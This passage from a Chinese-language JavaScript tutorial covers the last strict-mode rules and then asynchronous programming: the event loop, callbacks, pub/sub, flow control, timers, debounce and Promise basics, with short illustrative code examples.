`arguments.callee`和`arguments.caller`是两个历史遗留的变量，从来没有标准化过，现在已经取消了。正常模式下调用它们没有什么作用，但是不会报错。严格模式明确规定，函数内部使用`arguments.callee`、`arguments.caller`将会报错。

```js
'use strict';
var f = function () {
  return arguments.callee;
};

f(); // 报错
```

##### 禁止删除变量

严格模式下无法删除变量，如果使用`delete`命令删除一个变量，会报错。只有对象的属性，且属性的描述对象的`configurable`属性设置为`true`，才能被`delete`命令删除。

```js
'use strict';
var x;
delete x; // 语法错误

var obj = Object.create(null, {
  x: {
    value: 1,
    configurable: true
  }
});
delete obj.x; // 删除成功
```

#### 静态绑定

JavaScript 语言的一个特点，就是允许“动态绑定”，即某些属性和方法到底属于哪一个对象，不是在编译时确定的，而是在运行时（runtime）确定的。

严格模式对动态绑定做了一些限制。某些情况下，只允许静态绑定。也就是说，属性和方法到底归属哪个对象，必须在编译阶段就确定。这样做有利于编译效率的提高，也使得代码更容易阅读，更少出现意外。

具体来说，涉及以下几个方面。

##### 禁止使用 with 语句

严格模式下，使用`with`语句将报错。因为`with`语句无法在编译时就确定，某个属性到底归属哪个对象，从而影响了编译效果。

**with语句**用于动态修改作用域链（如 `with(obj) { console.log(x); }`）

```js
// 废弃写法
with (Math) {
  console.log(PI, sin(2));
}
// 替代方案
console.log(Math.PI, Math.sin(2));
```

```js
'use strict';
var v  = 1;
var obj = {};

with (obj) {
  v = 2;
}
// Uncaught SyntaxError: Strict mode code may not include a with statement
```

##### 创设 eval 作用域

正常模式下，JavaScript 语言有两种变量作用域（scope）：全局作用域和函数作用域。严格模式创设了第三种作用域：`eval`作用域。

正常模式下，`eval`语句的作用域，取决于它处于全局作用域，还是函数作用域。严格模式下，`eval`语句本身就是一个作用域，不再能够在其所运行的作用域创设新的变量了，也就是说，`eval`所生成的变量只能用于`eval`内部。

```js
(function () {
  'use strict';
  var x = 2;
  console.log(eval('var x = 5; x')) // 5
  console.log(x) // 2
})()
```

上面代码中，由于`eval`语句内部是一个独立作用域，所以内部的变量`x`不会泄露到外部。

注意，如果希望`eval`语句也使用严格模式，有两种方式。

```js
// 方式一
function f1(str){
  'use strict';
  return eval(str);
}
f1('undeclared_variable = 1'); // 报错

// 方式二
function f2(str){
  return eval(str);
}
f2('"use strict";undeclared_variable = 1')  // 报错
```

##### arguments 不再追踪参数的变化

变量`arguments`代表函数的参数。严格模式下，函数内部改变参数与`arguments`的联系被切断了，两者不再存在联动关系。

```js
function f(a) {
  a = 2;
  return [a, arguments[0]];
}
f(1); // 正常模式为[2, 2]

function f(a) {
  'use strict';
  a = 2;
  return [a, arguments[0]];
}
f(1); // 严格模式为[2, 1]
```

上面代码中，改变函数的参数，不会反应到`arguments`对象上来。

#### 版本过渡

##### 非函数代码块不得声明函数

ES6 会引入块级作用域。为了与新版本接轨，ES5 的严格模式**只允许在全局作用域或函数作用域声明函数**。也就是说，不允许在非函数的代码块内声明函数。

```js
'use strict';
if (true) {
  function f1() { } // 语法错误
}

for (var i = 0; i < 5; i++) {
  function f2() { } // 语法错误
}
```

上面代码在`if`代码块和`for`代码块中声明了函数，ES5 环境会报错。

注意，如果是 ES6 环境，上面的代码不会报错，**因为 ES6 允许在代码块之中声明函数。**

##### 保留字

为了向将来 JavaScript 的新版本过渡，严格模式新增了一些保留字（implements、interface、let、package、private、protected、public、static、yield等）。使用这些词作为变量名将会报错。

```js
function package(protected) { // 语法错误
  'use strict';
  var implements; // 语法错误
}
```

---

---
url: /js/fbiy6atq/index.md
---
# 异步操作
### 单线程模型

**单线程模型**指的是，JavaScript 只在一个线程上运行。也就是说，JavaScript 同时只能执行一个任务，其他任务都必须在后面排队等待。

**注意**：JavaScript 只在一个线程上运行，不代表 JavaScript 引擎只有一个线程。

事实上，JavaScript 引擎有多个线程，单个脚本只能在一个线程上运行（称为主线程），其他线程都是在后台配合。

JavaScript 之所以采用单线程，而不是多线程，跟历史有关系。JavaScript 从诞生起就是单线程，原因是不想让浏览器变得太复杂，因为多线程需要共享资源、且有可能修改彼此的运行结果，对于一种网页脚本语言来说，这就太复杂了。如果 JavaScript 同时有两个线程，一个线程在网页 DOM 节点上添加内容，另一个线程删除了这个节点，这时浏览器应该以哪个线程为准？是不是还要有锁机制？所以，为了避免复杂性，JavaScript 一开始就是单线程，这已经成了这门语言的核心特征，将来也不会改变。

这种模式的好处是实现起来比较简单，执行环境相对单纯；坏处是只要有一个任务耗时很长，后面的任务都必须排队等着，会拖延整个程序的执行。

常见的浏览器无响应，也就是假死，往往就是因为某一段代码长时间执行，比如死循环等，导致整个页面都卡在这个地方，其他任务无法执行。

JavaScript语言本身并不慢，慢的是读写外部数据，比如Ajax请求返回结果，假如在这个时候，服务器迟迟没有响应就会导致脚本的长时间停滞。

如果排队是因为计算量大，CPU 忙不过来，倒也算了，但是很多时候 CPU 是闲着的，因为 IO 操作（输入输出）很慢（比如 Ajax 操作从网络读取数据），不得不等着结果出来，再往下执行。

JavaScript 语言的设计者意识到，这时 CPU 完全可以不管 IO 操作，挂起处于等待中的任务，先运行排在后面的任务。等到 IO 操作返回了结果，再回过头，把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“**事件循环**”机制（Event Loop）。

单线程模型虽然对 JavaScript 构成了很大的限制，但也因此使它具备了其他语言不具备的优势。如果用得好，JavaScript 程序是不会出现堵塞的，这就是 Node.js 可以用很少的资源，应付大流量访问的原因。

为了利用多核 CPU 的计算能力，HTML5 提出 Web Worker 标准，允许 JavaScript 脚本创建多个线程，但是子线程完全受主线程控制，且不得操作 DOM。所以，这个新标准并没有改变 JavaScript 单线程的本质。

### 同步和异步

程序里面所有的任务，可以分成两类：同步任务（synchronous）和异步任务

同步任务是那些没有被引擎挂起、在主线程上排队执行的任务。只有前一个任务执行完毕，才能执行后一个任务。

异步任务是那些被引擎放在一边，不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了（比如 Ajax 操作从服务器得到了结果），该任务（采用回调函数的形式）才会进入主线程执行。

排在异步任务后面的代码，不用等待异步任务结束会马上运行，也就是说，异步任务不具有“堵塞”效应。

举例来说，Ajax 操作可以当作**同步任务**处理，也可以当作**异步任务**处理，由开发者决定。如果是同步任务，主线程就等着 Ajax 操作返回结果，再往下执行；如果是异步任务，主线程在发出 Ajax 请求以后，就直接往下执行，等到 Ajax 操作有了结果，主线程再执行对应的回调函数。

### 任务队列和事件循环

JavaScript 运行时，除了一个正在运行的主线程，引擎还提供一个任务队列，里面是各种需要当前程序处理的异步任务（实际上，根据异步任务的类型，存在多个任务队列。）。

首先，主线程会去执行所有的同步任务。等到同步任务全部执行完，就会去看任务队列里面的异步任务。如果满足条件，那么异步任务就重新进入主线程开始执行，这时它就变成同步任务了。等到执行完，下一个异步任务再进入主线程开始执行。一旦任务队列清空，程序就结束执行。

异步任务的写法通常是回调函数。一旦异步任务重新进入主线程，就会执行对应的回调函数。如果一个异步任务没有回调函数，就不会进入任务队列，也就是说，不会重新进入主线程，因为没有用回调函数指定下一步的操作。

JavaScript 引擎怎么知道异步任务有没有结果，能不能进入主线程呢？

答案就是引擎在不停地检查，一遍又一遍，只要同步任务执行完了，引擎就会去检查那些挂起来的异步任务，是不是可以进入主线程了。这种循环检查的机制，就叫做**事件循环**（Event Loop）。

[维基百科](http://en.wikipedia.org/wiki/Event_loop)的定义是：“事件循环是一个程序结构，用于等待和发送消息和事件

### 异步操作的模式

#### 回调函数

回调函数是异步操作最基本的方法。

下面是两个函数`f1`和`f2`，编程的意图是`f2`必须等到`f1`执行完成，才能执行。

```js
function f1() {}
function f2() {}
f1();
f2();
```

上面代码的问题在于，如果`f1`是异步操作，`f2`会立即执行，不会等到`f1`结束再执行。

这时，可以考虑改写`f1`，把`f2`写成`f1`的回调函数。

```js
function f1(callback) {
    // ...
    callback();
}
function f2() {}
f1(f2);
```

回调函数的优点是简单、容易理解和实现，缺点是不利于代码的阅读和维护，各个部分之间高度[耦合](http://en.wikipedia.org/wiki/Coupling_\(computer_programming\))（coupling），使得程序结构混乱、流程难以追踪（尤其是多个回调函数嵌套的情况），而且每个任务只能指定一个回调函数。

#### 事件监听

另一种思路是采用事件驱动模式。异步任务的执行不取决于代码的顺序，而取决于某个事件是否发生。

还是以`f1`和`f2`为例。首先，为`f1`绑定一个事件（这里采用的 jQuery 的[写法](http://api.jquery.com/on/)）。

```js
f1.on('done', f2);
```

上面这行代码的意思是，当`f1`发生`done`事件，就执行`f2`。然后，对`f1`进行改写：

```js
function f1() {
  setTimeout(function () {
    // ...
    f1.trigger('done');
  }, 1000);
}
```

上面代码中，`f1.trigger('done')`表示，执行完成后，立即触发`done`事件，从而开始执行`f2`。

这种方法的优点是比较容易理解，可以绑定多个事件，每个事件可以指定多个回调函数，而且可以“[去耦合](http://en.wikipedia.org/wiki/Decoupling)”（decoupling），有利于实现模块化。

缺点是整个程序都要变成事件驱动型，运行流程会变得很不清晰。阅读代码的时候，很难看出主流程。

#### 发布/订阅

事件完全可以理解成“信号”，如果存在一个“信号中心”，某个任务执行完成，就向信号中心“发布”（publish）一个信号，其他任务可以向信号中心“订阅”（subscribe）这个信号，从而知道什么时候自己可以开始执行。

这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”（publish-subscribe pattern），又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”（observer pattern）。

这个模式有多种[实现](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx)，下面采用的是 Ben Alman 的 [Tiny Pub/Sub](https://gist.github.com/661855)，这是 jQuery 的一个插件。

首先，`f2`向信号中心`jQuery`订阅`done`信号。

```js
jQuery.subscribe('done', f2);
```

然后，`f1`进行如下改写。

```js
function f1() {
  setTimeout(function () {
    // ...
    jQuery.publish('done');
  }, 1000);
}
```

上面代码中，`jQuery.publish('done')`的意思是，`f1`执行完成后，向信号中心`jQuery`发布`done`信号，从而引发`f2`的执行。

`f2`完成执行后，可以取消订阅（unsubscribe）。

```js
jQuery.unsubscribe('done', f2);
```

这种方法的性质与“事件监听”类似，但是明显优于后者。因为可以通过查看“消息中心”，了解存在多少信号、每个信号有多少订阅者，从而监控程序的运行。

### 流程控制

如果有多个异步操作，就存在一个流程控制的问题：如何确定异步操作执行的顺序，以及如何保证遵守这种顺序。

```js
function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}
```

上面代码的`async`函数是一个异步任务，非常耗时，每次执行需要1秒才能完成，然后再调用回调函数。

如果有六个这样的异步任务，需要全部完成后，才能执行最后的`final`函数。请问应该如何安排操作流程？

```js
function final(value) {
  console.log('完成: ', value);
}

async(1, function (value) {
  async(2, function (value) {
    async(3, function (value) {
      async(4, function (value) {
        async(5, function (value) {
          async(6, final);
        });
      });
    });
  });
});
// 参数为 1 , 1秒后返回结果
// 参数为 2 , 1秒后返回结果
// 参数为 3 , 1秒后返回结果
// 参数为 4 , 1秒后返回结果
// 参数为 5 , 1秒后返回结果
// 参数为 6 , 1秒后返回结果
// 完成:  12
```

上面代码中，六个回调函数的嵌套，不仅写起来麻烦，容易出错，而且难以维护。

#### 串行执行

我们可以编写一个流程控制函数，让它来控制异步任务，一个任务完成以后，再执行另一个。这就叫串行执行。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

function series(item) {
  if(item) {
    async( item, function(result) {
      results.push(result);
      return series(items.shift());
    });
  } else {
    return final(results[results.length - 1]);
  }
}

series(items.shift());
```

上面代码中，函数`series`就是串行函数，它会依次执行异步任务，所有任务都完成后，才会执行`final`函数。`items`数组保存每一个异步任务的参数，`results`数组保存每一个异步任务的运行结果。

注意，上面的写法需要六秒，才能完成整个脚本。

#### 并行执行

流程控制函数也可以是并行执行，即所有异步任务同时执行，等到全部完成以后，才执行`final`函数。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

items.forEach(function(item) {
  async(item, function(result){
    results.push(result);
    if(results.length === items.length) {
      final(results[results.length - 1]);
    }
  })
});
```

上面代码中，`forEach`方法会同时发起六个异步任务，等到它们全部完成以后，才会执行`final`函数。

相比而言，上面的写法只要一秒，就能完成整个脚本。这就是说，并行执行的效率较高，比起串行执行一次只能执行一个任务，较为节约时间。但是问题在于如果并行的任务较多，很容易耗尽系统资源，拖慢运行速度。因此有了第三种流程控制方式

#### 结合

所谓并行与串行的结合，就是设置一个门槛，每次最多只能并行执行`n`个异步任务，这样就避免了过分占用系统资源。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];
var running = 0;
var limit = 2;

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

function launcher() {
  while(running < limit && items.length > 0) {
    var item = items.shift();
    async(item, function(result) {
      results.push(result);
      running--;
      if(items.length > 0) {
        launcher();
      } else if(running === 0) {
        final(results);
      }
    });
    running++;
  }
}

launcher();
```

上面代码中，最多只能同时运行两个异步任务。变量`running`记录当前正在运行的任务数，只要低于门槛值，就再启动一个新的任务，如果等于`0`，就表示所有任务都执行完了，这时就执行`final`函数。

这段代码需要三秒完成整个脚本，处在串行执行和并行执行之间。通过调节`limit`变量，达到效率和资源的最佳平衡。

### setTimeout()

`setTimeout`函数用来指定某个函数或某段代码，在多少毫秒之后执行。它返回一个整数，表示定时器的编号，以后可以用来取消这个定时器。

```js
var timerId = setTimeout(func|code, delay);
```

上面代码中，`setTimeout`函数接受两个参数，第一个参数`func|code`是将要推迟执行的函数名或者一段代码，第二个参数`delay`是推迟执行的毫秒数。

```js
console.log(1);
setTimeout('console.log(2)',1000);
console.log(3);
// 1
// 3
// 2
```

上面代码会先输出1和3，然后等待1000毫秒再输出2。注意，`console.log(2)`必须以字符串的形式，作为`setTimeout`的参数。

如果推迟执行的是函数，就直接将函数名，作为`setTimeout`的参数。

```js
function f() {
  console.log(2);
}

setTimeout(f, 1000);
```

`setTimeout`的第二个参数如果省略，则默认为0。

除了前两个参数，`setTimeout`还允许更多的参数。它们将依次传入推迟执行的函数（回调函数）。

还有一个需要注意的地方，如果回调函数是对象的方法，那么`setTimeout`使得方法内部的`this`关键字指向**全局环境**，而不是定义时所在的那个对象。

```js
var x = 1;

var obj = {
  x: 2,
  y: function () {
    console.log(this.x);
  }
};

setTimeout(obj.y, 1000) // 1
```

上面代码输出的是1，而不是2。因为当`obj.y`在1000毫秒后运行时，`this`所指向的已经不是`obj`了，而是全局环境。

为了防止出现这个问题，一种解决方法是将`obj.y`放入一个函数。

```js
var x = 1;

var obj = {
  x: 2,
  y: function () {
    console.log(this.x);
  }
};

setTimeout(function () {
  obj.y();
}, 1000);
// 2
```

上面代码中，`obj.y`放在一个匿名函数之中，这使得`obj.y`在`obj`的作用域执行，而不是在全局作用域内执行，所以能够显示正确的值。

另一种解决方法是，使用`bind`方法，将`obj.y`这个方法绑定在`obj`上面。

```js
var x = 1;

var obj = {
  x: 2,
  y: function () {
    console.log(this.x);
  }
};

setTimeout(obj.y.bind(obj), 1000)
// 2
```

### setInterval()

`setInterval`函数的用法与`setTimeout`完全一致，区别仅仅在于`setInterval`指定某个任务每隔一段时间就执行一次，也就是无限次的定时执行。

与`setTimeout`一样，除了前两个参数，`setInterval`方法还可以接受更多的参数，它们会传入回调函数。

`setInterval`的一个常见用途是实现轮询。下面是一个轮询 URL 的 Hash 值是否发生变化的例子。

```js
var hash = window.location.hash;
var hashWatcher = setInterval(function() {
  if (window.location.hash != hash) {
    updatePage();
  }
}, 1000);
```

`setInterval`指定的是“开始执行”之间的间隔，并不考虑每次任务执行本身所消耗的时间。因此实际上，两次执行之间的间隔会小于指定的时间。比如，`setInterval`指定每 100ms 执行一次，每次执行需要 5ms，那么第一次执行结束后95毫秒，第二次执行就会开始。如果某次执行耗时特别长，比如需要105毫秒，那么它结束后，下一次执行就会立即开始。

为了确保两次执行之间有固定的间隔，可以不用`setInterval`，而是每次执行结束后，使用`setTimeout`指定下一次执行的具体时间。

```js
var i = 1;
var timer = setTimeout(function f() {
  // ...
  timer = setTimeout(f, 2000);
}, 2000);
```

上面代码可以确保，下一次执行总是在本次执行结束之后的2000毫秒开始。

### 清除定时器

`setTimeout`和`setInterval`函数，都返回一个整数值，表示计数器编号。将该整数传入`clearTimeout`和`clearInterval`函数，就可以取消对应的定时器。

```js
var id1 = setTimeout(f, 1000);
var id2 = setInterval(f, 1000);

clearTimeout(id1);
clearInterval(id2);
```

### debounce函数

有时，我们不希望回调函数被频繁调用。比如，用户填入网页输入框的内容，希望通过 Ajax 方法传回服务器，jQuery 的写法如下。

```js
$('textarea').on('keydown', ajaxAction);
```

这样写有一个很大的缺点，就是如果用户连续击键，就会连续触发`keydown`事件，造成大量的 Ajax 通信。

这是不必要的，而且很可能产生性能问题。正确的做法应该是，设置一个门槛值，表示两次 Ajax 通信的最小间隔时间。如果在间隔时间内，发生新的`keydown`事件，则不触发 Ajax 通信，并且重新开始计时。如果过了指定时间，没有发生新的`keydown`事件，再将数据发送出去。

这种做法叫做 debounce（防抖动）。假定两次 Ajax 通信的间隔不得小于2500毫秒，上面的代码可以改写成下面这样。

```js
$('textarea').on('keydown', debounce(ajaxAction, 2500));

function debounce(fn, delay){
  var timer = null; // 声明计时器
  return function() {
    var context = this;
    var args = arguments;
    clearTimeout(timer);
    timer = setTimeout(function () {
      fn.apply(context, args);
    }, delay);
  };
}
```

上面代码中，只要在2500毫秒之内，用户再次击键，就会取消上一次的定时器，然后再新建一个定时器。这样就保证了回调函数之间的调用间隔，至少是2500毫秒。

### 运行机制

`setTimeout`和`setInterval`的运行机制，是将指定的代码移出本轮事件循环，等到下一轮事件循环，再检查是否到了指定时间。如果到了，就执行对应的代码；如果不到，就继续等待。

这意味着，`setTimeout`和`setInterval`指定的回调函数，必须等到本轮事件循环的所有同步任务都执行完，才会开始执行。

由于前面的任务到底需要多少时间执行完，是不确定的，所以没有办法保证，`setTimeout`和`setInterval`指定的任务，一定会按照预定时间执行。

```js
setTimeout(someTask, 100);
veryLongTask();
```

上面代码的`setTimeout`，指定100毫秒以后运行一个任务。但是，如果后面的`veryLongTask`函数（同步任务）运行时间非常长，过了100毫秒还无法结束，那么被推迟运行的`someTask`就只有等着，等到`veryLongTask`运行结束，才轮到它执行。

```js
setInterval(function () {
  console.log(2);
}, 1000);

sleep(3000);

function sleep(ms) {
  var start = Date.now();
  while ((Date.now() - start) < ms) {
  }
}
```

上面代码中，`setInterval`要求每隔1000毫秒，就输出一个2。但是，紧接着的`sleep`语句需要3000毫秒才能完成，那么`setInterval`就必须推迟到3000毫秒之后才开始生效。注意，生效后`setInterval`不会产生累积效应，即不会一下子输出三个2，而是只会输出一个2。

上例中的`sleep`函数会阻塞主线程，实际中应该使用异步操作，避免主线程被阻塞。

```js
function asyncSleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

asyncSleep(3000).then(() => {
   // 等待后操作
});
```

### setTimeout(f, 0)

`setTimeout(f, 0)`会在下一轮事件循环一开始就执行。

```js
setTimeout(function () {
  console.log(1);
}, 0);
console.log(2);
// 2
// 1
```

上面代码先输出`2`，再输出`1`。因为`2`是同步任务，在本轮事件循环执行，而`1`是下一轮事件循环执行。

总之，`setTimeout(f, 0)`这种写法的目的是，尽可能早地执行`f`，但是并不能保证立刻就执行`f`。

实际上，`setTimeout(f, 0)`不会真的在0毫秒之后运行，不同的浏览器有不同的实现。以 Edge 浏览器为例，会等到4毫秒之后运行。如果电脑正在使用电池供电，会等到16毫秒之后运行；如果网页不在当前 Tab 页，会推迟到1000毫秒（1秒）之后运行。这样是为了节省系统资源。

### 应用

`setTimeout(f, 0)`有几个非常重要的用途。它的一大应用是，可以调整事件的发生顺序。

比如，网页开发中，某个事件先发生在子元素，然后冒泡到父元素，即子元素的事件回调函数，会早于父元素的事件回调函数触发。

如果，想让父元素的事件回调函数先发生，就要用到`setTimeout(f, 0)`。

```js
// HTML 代码如下
// <input type="button" id="myButton" value="click">

var input = document.getElementById('myButton');

input.onclick = function A() {
  setTimeout(function B() {
    input.value +=' input';
  }, 0)
};

document.body.onclick = function C() {
  input.value += ' body'
};
```

上面代码在点击按钮后，先触发回调函数`A`，然后触发函数`C`。函数`A`中，`setTimeout`将函数`B`推迟到下一轮事件循环执行，这样就起到了，先触发父元素的回调函数`C`的目的了。

另一个应用是，用户自定义的回调函数，通常在浏览器的默认动作之前触发。

比如，用户在输入框输入文本，`keypress`事件会在浏览器接收文本之前触发。因此，下面的回调函数是达不到目的的。

```js
// HTML 代码如下
// <input type="text" id="input-box">

document.getElementById('input-box').onkeypress = function (event) {
  this.value = this.value.toUpperCase();
}
```

上面代码想在用户每次输入文本后，立即将字符转为大写。但是实际上，它只能将本次输入前的字符转为大写，因为浏览器此时还没接收到新的文本，所以`this.value`取不到最新输入的那个字符。只有用`setTimeout`改写，上面的代码才能发挥作用。

```js
document.getElementById('input-box').onkeypress = function() {
  var self = this;
  setTimeout(function() {
    self.value = self.value.toUpperCase();
  }, 0);
}
```

上面代码将代码放入`setTimeout`之中，就能使得它在浏览器接收到文本之后触发。

由于`setTimeout(f, 0)`实际上意味着，**将任务放到浏览器最早可得的空闲时段执行**，所以那些计算量大、耗时长的任务，常常会被放到几个小部分，分别放到`setTimeout(f, 0)`里面执行。

由于`setTimeout(f, 0)`实际上意味着，将任务放到浏览器最早可得的空闲时段执行，所以那些计算量大、耗时长的任务，常常会被放到几个小部分，分别放到`setTimeout(f, 0)`里面执行。

```js
var div = document.getElementsByTagName('div')[0];

// 写法一
for (var i = 0xA00000; i < 0xFFFFFF; i++) {
  div.style.backgroundColor = '#' + i.toString(16);
}

// 写法二
var timer;
var i=0x100000;

function func() {
  timer = setTimeout(func, 0);
  div.style.backgroundColor = '#' + i.toString(16);
  if (i++ == 0xFFFFFF) clearTimeout(timer);
}

timer = setTimeout(func, 0);
```

**上述代码工作流程:**

**`setTimeout(func, 0)`**：将 `func` 函数放入事件队列，**等待当前执行栈清空后执行**。这种方式不会阻塞主线程，允许浏览器继续处理其他任务（如 UI 渲染和用户交互）。

**执行栈**是 JavaScript 的同步任务处理机制。它遵循“后进先出”（LIFO, Last In First Out）的原则，用于管理函数调用和执行。

**同步任务**：所有同步代码（如函数调用、变量赋值、循环等）都在执行栈中按顺序执行。

**阻塞性**：如果执行栈中有任务在运行，其他同步任务必须等待当前任务完成才能执行。

**执行栈与事件循环的关系**：

1. **执行栈优先**：JavaScript 引擎会优先执行执行栈中的同步任务，只有当执行栈清空后，才会从任务队列中取出异步任务并放入执行栈中执行。
2. **协作机制**：执行栈和事件循环共同协作，确保同步任务和异步任务都能得到处理，同时避免主线程被长时间阻塞。

上面代码有两种写法，都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”，因为 JavaScript 执行速度远高于 DOM，会造成大量 DOM 操作“堆积”，而写法二就不会，这就是`setTimeout(f, 0)`的好处。

另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大，一次性处理，可能会对性能造成很大的压力，那么将其分成一个个小块，一次处理一块，比如写成`setTimeout(highlightNext, 50)`的样子，性能压力就会减轻。

### Promise 对象

Promise 对象是 JavaScript 的异步操作解决方案，为异步操作提供统一接口。它起到代理作用（proxy），充当异步操作与回调函数之间的中介，使得异步操作具备同步操作的接口。

Promise 可以让异步操作写起来，就像在写同步操作的流程，而不必一层层地嵌套回调函数。

首先，Promise 是一个对象，也是一个构造函数

```js
function f1(resolve, reject) {
  // 异步代码...
}

var p1 = new Promise(f1);
```

上面代码中，`Promise`构造函数接受一个回调函数`f1`作为参数，`f1`里面是异步操作的代码。然后，返回的`p1`就是一个 Promise 实例。

Promise 的设计思想是，所有异步任务都返回一个 Promise 实例。Promise 实例有一个`then`方法，用来指定下一步的回调函数。

```js
var p1 = new Promise(f1);
p1.then(f2);
```

上面代码中，`f1`的异步操作执行完成，就会执行`f2`。

传统的写法可能需要把`f2`作为回调函数传入`f1`，比如写成`f1(f2)`，异步操作完成后，在`f1`内部调用`f2`。

Promise 使得`f1`和`f2`变成了链式写法。不仅改善了可读性，而且对于多层嵌套的回调函数尤其方便。

```js
// 传统写法
step1(function (value1) {
  step2(value1, function(value2) {
    step3(value2, function(value3) {
      step4(value3, function(value4) {
        // ...
      });
    });
  });
});

// Promise 的写法
(new Promise(step1))
  .then(step2)
  .then(step3)
  .then(step4);
```

Promise 原本只是社区提出的一个构想，一些函数库率先实现了这个功能。ECMAScript 6 将其写入语言标准，目前 JavaScript 原生支持 Promise 对象。

### Promise 对象的状态

Promise 对象通过自身的状态，来控制异步操作。Promise 实例具有三种状态。

* 异步操作未完成（pending）
* 异步操作成功（fulfilled）
* 异步操作失败（rejected）

上面三种状态里面，`fulfilled`和`rejected`合在一起称为`resolved`（已定型）。

这三种的状态的变化途径只有两种。

* 从“未完成”到“成功”
* 从“未完成”到“失败”

一旦状态发生变化，就凝固了，不会再有新的状态变化。

这也是 Promise 这个名字的由来，它的英语意思是“承诺”，一旦承诺成效，就不得再改变了。这也意味着，Promise 实例的状态变化只可能发生一次。

因此，Promise 的最终结果只有两种。

* 异步操作成功，Promise 实例传回一个值（value），状态变为`fulfilled`。
* 异步操作失败，Promise 实例抛出一个错误（error），状态变为`rejected`。

### Promise 构造函数

JavaScript 提供原生的`Promise`构造函数，用来生成 Promise 实例。

```js
var promise = new Promise(function (resolve, reject) {
  // ...

  if (/* 异步操作成功 */){
    resolve(value);
  } else { /* 异步操作失败 */
    reject(new Error());
  }
});
```

上面代码中，`Promise`构造函数接受一个函数作为参数，该函数的两个参数分别是`resolve`和`reject`。它们是两个函数，由 JavaScript 引擎提供，不用自己实现。

`resolve`函数的作用是，将`Promise`实例的状态从“未完成”变为“成功”（即从`pending`变为`fulfilled`），在异步操作成功时调用，并将异步操作的结果，作为参数传递出去。

`reject`函数的作用是，将`Promise`实例的状态从“未完成”变为“失败”（即从`pending`变为`rejected`），在异步操作失败时调用，并将异步操作报出的错误，作为参数传递出去。

```js
function timeout(ms) {
  return new Promise((resolve, reject) => {
    setTimeout(resolve, ms, 'done');
  });
}

timeout(100)
```

上面代码中，`timeout(100)`返回一个 Promise 实例。100毫秒以后，该实例的状态会变为`fulfilled`

### Promise.prototype.then()

Promise 实例的`then`方法，用来添加回调函数。

`then`方法可以接受两个回调函数，第一个是异步操作成功时（变为`fulfilled`状态）的回调函数，第二个是异步操作失败（变为`rejected`）时的回调函数（该参数可以省略）。一旦状态改变，就调用相应的回调函数。

```js
var p1 = new Promise(function (resolve, reject) {
  resolve('成功');
});
p1.then(console.log, console.error);
// "成功"

var p2 = new Promise(function (resolve, reject) {
  reject(new Error('失败'));
});
p2.then(console.log, console.error);
// Error: 失败
```

上面代码中，`p1`和`p2`都是Promise 实例，它们的`then`方法绑定两个回调函数：成功时的回调函数`console.log`，失败时的回调函数`console.error`（可以省略）。

`p1`的状态变为成功，`p2`的状态变为失败，对应的回调函数会收到异步操作传回的值，然后在控制台输出。

`then`方法可以链式使用。

```js
p1
  .then(step1)
  .then(step2)
  .then(step3)
  .then(
    console.log,
    console.error
  );
```

上面代码中，`p1`后面有四个`then`，意味依次有四个回调函数。只要前一步的状态变为`fulfilled`，就会依次执行紧跟在后面的回调函数。

最后一个`then`方法，回调函数是`console.log`和`console.error`，用法上有一点重要的区别。

`console.log`只显示`step3`的返回值，而`console.error`可以显示`p1`、`step1`、`step2`、`step3`之中任意一个发生的错误。

举例来说，如果`step1`的状态变为`rejected`，那么`step2`和`step3`都不会执行了（因为它们是`resolved`的回调函数）。

Promise 开始寻找，接下来第一个为`rejected`的回调函数，在上面代码中是`console.error`。这就是说，Promise 对象的报错具有传递性。

### then() 用法辨析

Promise 的用法，简单说就是一句话：使用`then`方法添加回调函数。但是，不同的写法有一些细微的差别，请看下面四种写法，它们的差别在哪里？

```js
// 写法一
f1().then(function () {
  return f2();
});

// 写法二
f1().then(function () {
  f2();
});

// 写法三
f1().then(f2());

// 写法四
f1().then(f2);
```

为了便于讲解，下面这四种写法都再用`then`方法接一个回调函数`f3`。写法一的`f3`回调函数的参数，是`f2`函数的运行结果。

```js
f1().then(function () {
  return f2();
}).then(f3);
```

写法二的`f3`回调函数的参数是`undefined`。

```js
f1().then(function () {
  f2();
  return;
}).then(f3);
```

写法三的`f3`回调函数的参数，是`f2`函数返回的函数的运行结果。

```js
f1().then(f2())
  .then(f3);
```

写法四与写法一只有一个差别，那就是`f2`会接收到`f1()`返回的结果。

```js
f1().then(f2)
  .then(f3);
```

### 图片加载

下面是使用 Promise 完成图片的加载。

```js
var preloadImage = function (path) {
  return new Promise(function (resolve, reject) {
    var image = new Image();
    image.onload  = resolve;
    image.onerror = reject;
    image.src = path;
  });
};
```

上面代码中，`image`是一个图片对象的实例。它有两个事件监听属性，`onload`属性在图片加载成功后调用，`onerror`属性在加载失败调用。

上面的`preloadImage()`函数用法如下。

```js
preloadImage('https://example.com/my.jpg')
  .then(function (e) { document.body.append(e.target) })
  .then(function () { console.log('加载成功') })
```

上面代码中，图片加载成功以后，`onload`属性会返回一个事件对象，因此第一个`then()`方法的回调函数，会接收到这个事件对象。该对象的`target`属性就是图片加载后生成的 DOM 节点。

### 小结

